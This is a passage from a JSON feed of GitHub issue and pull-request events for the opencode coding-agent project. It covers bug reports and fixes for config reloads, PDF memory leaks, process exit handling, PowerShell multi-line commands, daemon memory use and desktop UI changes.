          "text": "### Description Runtime local config updates made through `Config.update()` do not round-trip through instance disposal/reload correctly. `Config.update()` writes to project-root `config.json`, but fresh project config loading reads the normal `opencode.json` / `opencode.jsonc` paths and local `.opencode/opencode.json[c]` overlays instead. Because of that mismatch, a runtime config update can appear to work immediately, then disappear after the instance is disposed and reloaded. Related: - Duplicate of #28966 (auto-closed after inactivity) - Previous fix attempt PR #28967 was closed unmerged, the bug is still present on `dev` ### Proposed fix Write runtime local updates to the file the loader reads last (existing `.opencode/opencode.jsonc`, else `.opencode/opencode.json`, else plain `opencode.json` / `opencode.jsonc`), merging with existing content. ### Plugins _No response_ ### OpenCode version v1.18.2 and current dev ### Steps to reproduce 1. Start with a project where a runtime config update changes agent config through the config update path 2. Trigger the config update 3. Let the instance get disposed/reloaded 4. Use the updated config again after reload ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/42276",
          "createdAt": "2026-08-13T08:16:50Z",
          "updatedAt": "2026-08-13T08:18:15Z",
          "timestamp": "2026-08-13T08:18:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "mdrkrg",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b1fb4e0be4d81342a855",
        "signalId": "github:anomalyco/opencode:issue:42263",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42263",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Memory leak: PDF attachments are base64-encoded without size limit and re-encoded every turn, causing OOM",
          "text": "## Summary Ingesting a large PDF — either by **pasting its path into the input box** (renders as a `[PDF N]` chip) or by **letting the agent read it with the `read` tool** — base64-encodes the **entire file** into memory with **no size limit**, and the resulting `data:application/pdf;base64,...` string is **duplicated on every subsequent turn**. The same base64 is also persisted into SQLite, bloating `opencode.db` (988 MB in one case). RSS balloons from ~800 MB to 3.7 GB+ and the process eventually dies (OOM / unresponsive), especially on machines with limited RAM. ## Environment - opencode version: **1.17.9** and **1.18.18** (both affected) - OS: Linux, 5.8 GB RAM, 2 GB swap - Trigger: development session with a large PDF (~135 MB) attached ## Steps to reproduce 1. Prepare a large PDF (~100–150 MB). 2. EITHER paste the PDF's file path into the input box (replaced by a `[PDF 1]` chip), OR ask the agent to read the PDF (it calls the `read` tool). 3. Let the agent do multi-turn work (reads, shell commands, etc.). 4. Watch RSS: it grows from ~800 MB to 2.1 GB → 2.4 GB → 3.7 GB, at which point the UI becomes sluggish and eventually dies. ## Expected behavior Attaching a PDF should either be rejected with a clear size limit (like images are), or its content should be ingested once and reused, not re-encoded and duplicated on every turn. Memory should stay bounded. ## Actual behavior / evidence Heap snapshots captured via the built-in \"Write heap snapshot\" command show the same PDF's base64 content duplicated multiple times: At **3.7 GB RSS**, `tui.heapsnapshot` (self_size total 635 MB): ``` string: data:application/pdf;base64,JVBERi0xLjQK... 179.7 MB × 3 identical copies = 539 MB ``` At **2.4 GB RSS**, `server.heapsnapshot` additionally contained: ``` string: data:application/pdf;base64,... 179.7 MB string: JVBERi0xLjQK... (raw PDF) 89.8 MB string: data:application/pdf;base64,... 35.9 MB × 4 object: BlobInternalReadableStreamSource 134.8 MB string: {\"model\":\"deepseek-v4-pro\",\"messages\":[...]} 1.3 MB (LLM request body containing the PDF) ``` The remaining RSS (3.7 GB − ~635 MB JS heap ≈ 3 GB) sits in native memory (`WKFastMalloc` + `[heap]`), consistent with repeated `readFile` buffers and base64 intermediates that were never released. ### The copies survive across sessions After switching to a **different session** in the same process (RSS had dropped back to ~1.44 GB after a GC), a fresh snapshot still contained: ``` string: data:application/pdf;base64,JVBERi0xLjQK... 179.7 MB × 2 = 359.4 MB ``` i.e. the PDF base64 string is **process-global and never released when the session is switched or closed**. The RSS drop (3.7 GB → 1.44 GB) separates the leak into two layers: - **Live leak (never GC'd)**: the PDF base64 copies held by the prompt store / message history — this is the floor that only grows. - **Garbage buildup (GC-able but not reclaimed promptly)**: `readFile` buffers and base64 intermediates from each turn. ### The PDF is also persisted into SQLite The base64 content is written into the database, bloating it from a few MB to **988 MB** (`~/.local/share/opencode/opencode.db`): ``` event 317 MB (17 rows containing the PDF, ~96 MB; type message.part.updated.1 = 232 MB total) part 206 MB (17 rows containing the PDF, ~96 MB; largest single row = 90 MB) ``` That 90 MB row is a `read` tool part for `xxx.pdf`: ```json {\"type\":\"tool\",\"tool\":\"read\", \"input\":{\"filePath\":\".../xxx.pdf\",\"limit\":100}, \"output\":\"PDF read successfully\", \"attachments\":[{\"type\":\"file\",\"mime\":\"application/pdf\", \"url\":\"data:application/pdf;base64,JVBERi0xLjQK...(90 MB)...\"}]} ``` So even after the process is restarted, restoring the session reloads the PDF base64 from the database back into memory. ## Root cause Three code paths ingest PDFs with no size limit and no caching: 1. **The `read` tool** — `packages/opencode/src/tool/read.ts` (primary path) ```ts if (isImage || isPdfAttachment(mime)) { const bytes = yield* fs.readFile(filepath) // whole PDF, no size check ... attachments: [{ type: \"file\", mime, url: `data:${mime};base64,${Buffer.from(bytes).toString(\"base64\")}`, }] } ``` This fires whenever the agent reads a PDF with the `read` tool — the most common way PDFs enter a session. 2. **TUI attachment paste** — `packages/tui/src/component/prompt/index.tsx` - `pasteInputText` → `readLocalAttachment(filepath)` (line ~1189) - `pasteAttachment` encodes the whole file: `content: Buffer.from(attachment.content).toString(\"base64\")` (line ~1200) - builds the data URL: `` url: `data:${file.mime};base64,${file.content}` `` (line ~1251) - `readLocalAttachment` (`packages/tui/src/component/prompt/local-attachment.ts`) reads the whole file as bytes with no size check. 3. **Server-side prompt construction** — `packages/opencode/src/session/prompt.ts` - In the `case \"file:\"` branch (~line 949–968), every prompt construction re-reads and re-encodes the file: ```ts url: `data:${mime};base64,` + Buffer.from(yield* fsys.readFile(filepath)...).toString(\"base64\"), ``` All three paths bypass the limits that exist for images: | File | Limit | |---|---| | `packages/core/src/tool/read-filesystem.ts` | `MAX_MEDIA_INGEST_BYTES = 20 MB` (images) | | `packages/opencode/src/image/image.ts` | `MAX_BASE64_BYTES = 5 MB` | | `packages/opencode/src/tool/read.ts` (PDF) | **no limit** | | `packages/tui/src/component/prompt/index.tsx` (PDF) | **no limit** | | `packages/opencode/src/session/prompt.ts` (PDF) | **no limit** | Additionally, the resulting base64 string is retained by multiple owners without being released, so each turn adds another full copy: 4. **Cross-session retention** — `packages/tui/src/context/data.tsx` - The `DataProvider` mounts once at the app root (`packages/tui/src/app.tsx`) and is never re-created. - `store.session.message[sessionID]` accumulates messages (including `file` parts with the full base64 `url`) keyed by session ID. - There is **no delete/clear/prune** of `store.session.message` when a session is switched, closed, or deleted — so the PDF base64 string survives for the lifetime of the process. ## Suggested fix 1. Apply a size limit (aligned with `MAX_MEDIA_INGEST_BYTES`, e.g. 20 MB) to PDF ingestion in all three paths — `tool/read.ts`, `local-attachment.ts`/`index.tsx`, and `prompt.ts`; reject or fall back to a text extraction message when exceeded. 2. Cache the base64 result per `part.url`/file path so the same file is not re-read and re-encoded on every turn. 3. Ensure the large string is not duplicated across the prompt store, message history, and request serialization (share the reference instead of re-serializing). 4. Evict or cap `store.session.message` entries for inactive sessions (and release large attachment payloads) so memory does not grow with the number of sessions touched.",
          "url": "https://github.com/anomalyco/opencode/issues/42263",
          "createdAt": "2026-08-13T07:14:44Z",
          "updatedAt": "2026-08-13T08:15:11Z",
          "timestamp": "2026-08-13T08:15:11Z",
          "metrics": {
            "reactions": 4,
            "comments": 2
          },
          "labels": [],
          "author": "tianq01",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:f039a49180de49bef898",
        "signalId": "github:anomalyco/opencode:pull_request:35311",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:35311",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix (core): Multiple clones of same repo are different projects",
          "text": "### Issue for this PR Closes #17940 #19348 #29869 #29871 #29962 #29936 #29977 #30302 #31593 #31686 #31890 #32785 #32801 #33313 #33615 #42040 ### Type of change - [X] Bug fix - [ ] New feature - [X] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR changes `.git/opencode` from the hash of the repo name to json; with a version and UUID. This UUID per repo-clone (locally) satisfies work trees being keyed to their respective repo-clones and separating repo-clones from each other (locally). The file is automatically upgraded if the file is not json/UUID format. The upgrade path is automatic. The GUI touches the project on open to ensure consistency. Changing the path (or folder name) of a repo-clone keeps the same UUID. The project stops working in the GUI... when the new moved project is opened then the session and work trees are updated. The old project (and session data) is updated to the new path; with the old project sessions updated to the new project path-location. ### How did you verify your code works? - New unit tests to verify behavior. - GUI test for Open Project on already open project, regression passed. - GUI test for Open Project on the same repo cloned in two different locations do open in separate projects. ### Screenshots / recordings N/A ### Checklist - [X] I have tested my changes locally - [X] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/35311",
          "createdAt": "2026-07-04T12:15:44Z",
          "updatedAt": "2026-08-13T08:13:30Z",
          "timestamp": "2026-08-13T08:13:30Z",
          "metrics": {
            "reactions": 7,
            "comments": 16
          },
          "labels": [],
          "author": "belisoful",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:eb71b60632bef8908389",
        "signalId": "github:anomalyco/opencode:pull_request:42275",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42275",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): resolve child process exit signal on exit event",
          "text": "### Issue for this PR Closes #41806 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a detached child process exits but a grandchild inherits the stdio pipe, the `close` event never fires because the pipe write-end stays open. The exit signal Deferred was resolved only on `close`, so `handle.exitCode` hung forever and bootstrap would wedge. This resolves the Deferred on the `exit` event as well. The `end` flag prevents double-resolution; `close` remains as a fallback. Additional evidence: @martialebeau corroborated the same un-reaped git-child pattern on Windows (v1.18.16, ConPTY) with 4 incidents, context-size correlation, and ANSI flood fingerprint — see [comment on #41806](https://github.com/anomalyco/opencode/issues/41806#issuecomment-5272717036). ### How did you verify your code works? - `cd packages/core && bun test test/effect/cross-spawn-spawner.test.ts` — 25 pass, 0 fail - `cd packages/core && bun typecheck` The test verifies that `handle.exitCode` resolves correctly for a process that writes to stdout and exits. The grandchild-pipe-inheritance scenario from the issue cannot be reproduced in the test suite due to a pre-existing Effect runtime cleanup interaction, but the fix is a minimal safety improvement: `exit` always fires before `close`, so the Deferred resolves at the earliest correct moment. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42275",
          "createdAt": "2026-08-13T08:11:26Z",
          "updatedAt": "2026-08-13T08:11:26Z",
          "timestamp": "2026-08-13T08:11:26Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:354c7fa2729e1179694d",
        "signalId": "github:anomalyco/opencode:pull_request:42274",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42274",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(shell): encode PowerShell commands to preserve multi-line output",
          "text": "### Issue for this PR Closes #41983 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Windows, when the configured PowerShell shell is a `.cmd` wrapper (e.g. `pwsh.cmd`), `cmd.exe` interprets newlines in the `-Command` argument as line separators, so only the first line of a multi-line command reaches PowerShell. Subsequent commands' output is silently dropped. This replaces `-Command` with `-EncodedCommand` (base64-encoded UTF-16LE) in both the shell tool and `Shell.args()`. The encoded string contains no newlines or special characters, so it survives `cmd.exe` argument parsing intact. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/shell.test.ts` — 24 pass, 0 fail - `cd packages/core && bun test test/shell.test.ts` — 6 pass, 0 fail - `cd packages/opencode && bun typecheck` - `cd packages/core && bun typecheck` The test runs `echo \"first\"\\necho \"second\"\\necho \"third\"` and asserts all three lines appear in the output. On Linux this exercises the bash path; on Windows with a `.cmd` wrapper it exercises the fixed PowerShell path. ### Screenshots / recordings N/A — no UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42274",
          "createdAt": "2026-08-13T08:11:17Z",
          "updatedAt": "2026-08-13T08:11:17Z",
          "timestamp": "2026-08-13T08:11:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ba4b5b2633b210a0390c",
        "signalId": "github:anomalyco/opencode:issue:42272",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42272",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI stuck when a message is queue and questions pop out",
          "text": "### Description TUI stuck when a message is queue and questions pop out. Inside a session ### Plugins no plugins ### OpenCode version 1.18.16 ### Steps to reproduce 1. openup a session 2. prompt something that makes ai work for a whle then should ask you a question 3. queue a message, in plan mode 4. now its stuck, you can type your answer but cant confirm your answer, while `<c-c>` wont work ### Screenshot and/or share link its bugged out i cant even quit, so no share link ### Operating System Windows 11 WSL debian ### Terminal vscode intergrated terminal ## Checked other issues https://github.com/anomalyco/opencode/issues/38552: Similar issue where Enter/Confirm doesn't respond on question prompts, also reproduced in VS Code integrated terminal https://github.com/anomalyco/opencode/issues/28112: AskUserQuestion modal is undismissable and Ctrl-C does not work while a question prompt is open https://github.com/anomalyco/opencode/issues/27503: OpenCode gets stuck infinitely after re-asking questions Its different. I beleive its due to the queued prompt",
          "url": "https://github.com/anomalyco/opencode/issues/42272",
          "createdAt": "2026-08-13T08:02:46Z",
          "updatedAt": "2026-08-13T08:09:27Z",
          "timestamp": "2026-08-13T08:09:27Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "SamYue1",
          "state": "open",
          "assignees": [
            "simonklee"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4d49042905a48bef8a54",
        "signalId": "github:anomalyco/opencode:issue:42268",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42268",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "`opencode run` (headless) never exits after a fatal non-retryable provider error — hung 3 days on \"Monthly usage limit reached\"",
          "text": "## Summary When the provider returns a **fatal, non-retryable** API error on the very first stream, `opencode run` (headless) logs the error and then **never exits**. The process stays alive indefinitely, produces no further stdout/stderr, and returns no exit code. In my case three independent `opencode run` invocations hit `AI_APICallError: Monthly usage limit reached` about 3 seconds after start, and were still running **3 days later** (78+ hours) when I killed them manually. They were not blocked on a dead socket — the runtime was alive the whole time, still firing its hourly snapshot-cleanup timer. This is the headless counterpart of #32366 (TUI stuck on \"thinking\" after a stream error, no state recovery). For `run` the consequence is worse: there is no user watching, and no exit means any supervising wrapper is pinned open forever. ## Environment | | | |---|---| | opencode | **1.18.15** (`npm i -g opencode-ai`) | | OS | macOS 15.3.1 (24D70), Darwin 24.3.0, arm64 | | Hardware | Apple M4, Mac mini | | Node | v24.5.0 | | Provider / model | `opencode-go` / `deepseek-v4-pro` | | Invocation | non-interactive, via launchd (no TTY) | Command (run on a schedule, 3 different agents/skills): ``` opencode run --auto --dir /path/to/project --model opencode-go/deepseek-v4-pro \"<prompt>\" ``` ## What happened Three scheduled runs started at 00:00, 04:00 and 08:00 UTC on 2026-08-10. All three: 1. bootstrapped normally, created a session, entered `loop step=0` 2. issued the first stream request 3. received `AI_APICallError: Monthly usage limit reached. Resets in 4 days.` 4. **never exited** — still alive 78 hours later All three stopped emitting output at the identical point — the agent header line, with nothing after it: ``` > build · deepseek-v4-pro ``` (Same terminal symptom as the closed #17516, but a different trigger: that one hung *after* a successful run's tool calls, this one hangs on a *failed* first request.) ## Evidence From `~/.local/share/opencode/log/opencode.log` (paths/IDs redacted). Run `cdd5bd15`, started 00:00:05Z: ``` timestamp=2026-08-10T00:00:05.517Z level=INFO run=cdd5bd15 message=\"creating instance\" directory=<project> timestamp=2026-08-10T00:00:08.877Z level=INFO run=cdd5bd15 message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode-go llm.model=deepseek-v4-pro timestamp=2026-08-10T00:00:09.430Z level=ERROR run=cdd5bd15 message=\"stream error\" providerID=opencode-go modelID=deepseek-v4-pro session.id=<redacted> small=false agent=build mode=primary error.error=\"AI_APICallError: Monthly usage limit reached. Resets in 4 days. To continue using this model now, enable usage from your available balance: https://opencode.ai/workspace/<redacted>/go\" timestamp=2026-08-10T00:17:21.861Z level=ERROR run=cdd5bd15 message=\"stream error\" ... small=true agent=title mode=primary error.error=\"AI_RetryError: Failed after 3 attempts. Last error: Cannot connect to API: The socket connection was closed unexpectedly.\" ``` After that second error at 00:17Z, **the only thing this run ever logged again** — for the next 3 days — was its hourly cleanup timer: ``` timestamp=2026-08-10T01:17:26.9Z level=INFO run=cdd5bd15 message=cleanup prune=7.days timestamp=2026-08-10T02:17:26.5Z level=INFO run=cdd5bd15 message=cleanup prune=7.days ... timestamp=2026-08-13T06:17:37.5Z level=INFO run=cdd5bd15 message=cleanup prune=7.days <- last, 78h after start ``` Of that run's 106 total log entries, **79 are this cleanup line**. The other two runs are identical in shape (99 entries / 57 cleanup, 102 / 59). The process was measurably *spinning*, not cleanly blocked: ``` $ ps -o pid,stat,etime,time -p 8231 PID STAT ELAPSED TIME 8231 S 03-06:53:07 55:13.03 # 55 min CPU over 78.9 h ≈ 1.2% sustained ``` Side effect worth noting: those hourly cleanups eventually started failing against each other, since three abandoned runs were all gc'ing the same snapshot dir — ``` level=WARN run=976bb9a4 message=\"cleanup failed\" exitCode=128 stderr=\"fatal: gc is already running on machine '<host>' pid 68550 (use --force if not)\" level=WARN run=20aebd72 message=\"cleanup failed\" exitCode=128 stderr=\"fatal: Unable to create '<snapshot>/....lock': File exists\" ``` ## Expected behavior A fatal, non-retryable provider error (quota exhausted, auth failure, 4xx that will never succeed on retry) in headless `run` should print the error to stderr and **exit with a non-zero status**. ## Actual behavior The error is written to the log only, nothing reaches stderr, and the process runs forever. ## Impact This is specifically painful for scheduled/CI use, which is what `run` is for. My jobs are wrapped in `caffeinate -i` (macOS: hold a sleep assertion for the child's lifetime). Because `opencode run` never exited: - 3 stuck processes held **78 hours of `PreventUserIdleSystemSleep`** — the machine could not sleep for 3 days while nobody was using it, and ran hot the whole time - ~950 MB RSS retained - the scheduled job never ran again (launchd won't relaunch a label whose previous instance is still alive), so **3 days of audits were silently skipped** with no failure signal anywhere Any supervisor that waits on the child — CI runner, systemd unit, `cron` + wrapper, GitHub Actions step — has the same exposure. The only reliable mitigation today is an external wall-clock timeout, which I've since added. ## Reproduction Deterministic path I hit (3/3): 1. Exhaust the monthly quota on an `opencode-go` model 2. `opencode run --auto --dir <project> --model opencode-go/deepseek-v4-pro \"<any prompt>\"` with no TTY 3. Observe `stream error ... AI_APICallError: Monthly usage limit reached` in the log, `> build · <model>` as the last stdout line, and a process that never returns I'd expect any fatal non-retryable provider error to do the same (e.g. a revoked/invalid API key), but I have only verified the quota variant. ## Suggested fix In the headless `run` path, treat a stream error that is not retryable as terminal: surface it on stderr and exit non-zero, rather than falling through to an idle event loop. A belt-and-braces `--timeout` flag on `run` would also help, since it would bound *any* future hang class in unattended use.",
          "url": "https://github.com/anomalyco/opencode/issues/42268",
          "createdAt": "2026-08-13T07:47:21Z",
          "updatedAt": "2026-08-13T08:06:52Z",
          "timestamp": "2026-08-13T08:06:52Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DaisukeYoda",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:78d860ab84df21900df4",
        "signalId": "github:anomalyco/opencode:pull_request:26861",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:26861",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): Old messages disappearing during long sessions",
          "text": "### Issue for this PR Fix #7380 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? 1. Add lazy-scroll loading: • Scrolling up: When user reaches within 5px of the top, loads next 50 older messages via before cursor • Scrolling down: When user reaches within 5px of the bottom, loads next 50 newer messages via after cursor 2. Timeline Dialog Complete Load: When Timeline dialog opens, exhaustively loads all session's related messages. Also, use full `DD/MM/YYYY HH:MM` timestamp format in footer **If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED!** ### How did you verify your code works? 1. Open a session with 100+ historical messages 2. Scroll up: loading indicator appears near top, next 50 messages prepended, visual position preserved 3. Continue scrolling up: cycle repeats until first message visible 4. Open Timeline dialog: all prompts appear with full date/time footers 5. Select old message from Timeline: view scrolls to it correctly 6. Send new messages: old messages remain (not evicted while streaming) 7. Test short sessions (<100 messages): no regressions ### Screenshots / recordings #### Original behavior <img width=\"1536\" height=\"864\" alt=\"original_issue\" src=\"https://github.com/user-attachments/assets/4c749a62-c33d-42bf-8739-e9d114bb9bd7\" /> #### Updated behavior <img width=\"1344\" height=\"756\" alt=\"fixed\" src=\"https://github.com/user-attachments/assets/75a13551-9e63-4c3e-91db-315260eb21b1\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._ ### Additional notes I set up the [test builds actions](https://github.com/vpetrigo/opencode/releases) that use the PR's branch with the fix and the release version of the OpenCode project. For now there is only Win x64 and Linux x64 executables available.",
          "url": "https://github.com/anomalyco/opencode/pull/26861",
          "createdAt": "2026-05-11T11:25:00Z",
          "updatedAt": "2026-08-13T08:01:48Z",
          "timestamp": "2026-08-13T08:01:48Z",
          "metrics": {
            "reactions": 7,
            "comments": 2
          },
          "labels": [],
          "author": "vpetrigo",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:333a55b716c337605aa1",
        "signalId": "github:anomalyco/opencode:issue:42271",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42271",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "service: idle background daemon holds ~700-800MB RSS",
          "text": "## Summary The `serve --service` background daemon stays resident 24/7 holding ~700-800 MB RSS with no active sessions and 0% CPU (97% of `sample` frames in `kevent64` wait), which shows up as a permanent memory/energy footprint in Activity Monitor on a 16 GB MacBook Air. ## Environment - opencode version: 0.0.0-next-17403 (next channel, V2 beta) - OS: macOS 26.6.1 (Darwin 25.6.0, arm64) - Terminal: Apple_Terminal, TERM=xterm-256color - Shell: /bin/zsh - Install/channel: local binary in ~/.opencode/bin, channel `next` - Active plugins: ~/.config/opencode/plugins.v2/memory.ts (opencode-memory) ## Reproduction 1. Run `opencode2` in a terminal (attaches to the `serve --service` daemon). 2. Close the TUI session; the daemon remains in the background. 3. Measure: `ps -o pid,rss,pcpu,command -p <daemon-pid>` and `sample <daemon-pid>`. Observed: - Daemon RSS: ~700-780 MB while idle, 0% CPU - `sample`: main thread 1676/1729 frames in `kevent64` (waiting), all worker threads in `_pthread_cond_wait` — fully idle but not releasing memory - With an active TUI session (~600 MB) plus MCP children (~350 MB), total opencode2 footprint reached ~2 GB ## Expected Behavior An idle background daemon should hold a much smaller resident footprint (tens of MB), or exit when no sessions are active, or make residency configurable. ## Actual Behavior ~700-800 MB RSS stays permanently resident even with no sessions open; macOS Activity Monitor reports it as a persistent energy/memory consumer and the memory is never reclaimed. ## Additional Context Workarounds: `opencode2 service stop` when not needed, or `--standalone` mode (private per-session server) to avoid a persistent daemon. Also observed: a leftover TUI session process remained in stopped state (T/SIGSTOP, ~240 MB RSS) after sessions were closed — likely job-control related, but it was not reaped either. Reproduction is consistent: the daemon holds this footprint every day.",
          "url": "https://github.com/anomalyco/opencode/issues/42271",
          "createdAt": "2026-08-13T07:52:37Z",
          "updatedAt": "2026-08-13T08:01:01Z",
          "timestamp": "2026-08-13T08:01:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "cioffiAI",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:43f324fb37c4f16f0e1f",
        "signalId": "github:anomalyco/opencode:issue:42270",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42270",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "service: restart leaves stale daemon and duplicated MCP servers running",
          "text": "## Summary `opencode2 service restart` starts a new `serve --service` daemon without terminating the old one; the stale daemon and its MCP server children keep running, duplicating MCP servers and leaking ~1.5 GB of RAM until manually killed. ## Environment - opencode version: 0.0.0-next-17403 (next channel, V2 beta) - OS: macOS 26.6.1 (Darwin 25.6.0, arm64) - Terminal: Apple_Terminal, TERM=xterm-256color - Shell: /bin/zsh - Install/channel: local binary in ~/.opencode/bin, channel `next` - Active plugins: ~/.config/opencode/plugins.v2/memory.ts (opencode-memory) ## Reproduction 1. Configure local MCP servers (e.g. `npx -y @playwright/mcp --browser chromium` and `npx -y @llmindset/hf-mcp-server`) in `~/.config/opencode/opencode.jsonc`. 2. Start a session (spawns the `serve --service` daemon plus the MCP children). 3. Run `opencode2 service restart` (or `service stop` followed by starting a new session). 4. Inspect the process tree: the old daemon and its MCP children are still alive next to the new daemon and its own fresh MCP children. Observed today on macOS arm64: - Old daemon PID 79746 `opencode2 serve --service`, RSS ~700-780 MB, still running after the restart - Its children still alive: 2x `npm exec @playwright/mcp --browser chromium` and 1x `npm exec @llmindset/hf-mcp-server`, ~85-90 MB each - New daemon PID 80086 with its own set of MCP servers - Net result: two Playwright MCP instances running concurrently, ~1.5 GB held by the stale tree ## Expected Behavior `service restart` (and `service stop`) should terminate the previous daemon's entire process tree, including its MCP children, before starting the new one. ## Actual Behavior The old daemon and all its MCP children keep running after the restart, duplicating MCP servers and leaking memory. The stale tree could only be cleaned manually (`kill -9` on the old daemon), and it took its MCP children down with it. ## Additional Context Combined with the daemon's high idle RSS (see related perf issue), opencode2 processes peaked at ~2 GB RSS on a 16 GB MacBook Air. The duplication happened on a single restart, so it looks consistent rather than intermittent. Related: an earlier service restart had also left the previous daemon's MCP servers behind, which is how multiple Playwright instances accumulated.",
          "url": "https://github.com/anomalyco/opencode/issues/42270",
          "createdAt": "2026-08-13T07:52:36Z",
          "updatedAt": "2026-08-13T08:01:00Z",
          "timestamp": "2026-08-13T08:01:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "cioffiAI",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:b250854be67fd766bd24",
        "signalId": "github:anomalyco/opencode:pull_request:38274",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:38274",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(desktop): add radio group button for switching agent mode",
          "text": "### Issue for this PR Closes #38277 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR adds a toggle button to switch between the plan/build modes. It only shows as toggle button when there are exactly 2 options, in all other cases it will fallback to the dropdown behaviour. The new button reduces 1 click and is just easier to use when there only to options. The scope is only the desktop app. ### How did you verify your code works? Build the electron application locally and tested the changed views in the old v1 and new v2 ui. ### Screenshots / recordings **Before:** <img width=\"558\" height=\"150\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6969d7f8-d9de-4ca7-aa7a-31a2a5b7a5d9\" /> **After:** V1 ui: <img width=\"561\" height=\"149\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bae08a60-0513-436b-b8f7-3a2943b3f693\" /> V2 ui: <img width=\"543\" height=\"117\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f2016a5-6a94-4ef4-909d-f311d1dfbb09\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR PS. The new UI currently has a bug causing it to hide the plan/build modes by default, this should be fixed in a separate PR.",
          "url": "https://github.com/anomalyco/opencode/pull/38274",
          "createdAt": "2026-07-22T09:23:20Z",
          "updatedAt": "2026-08-13T07:50:19Z",
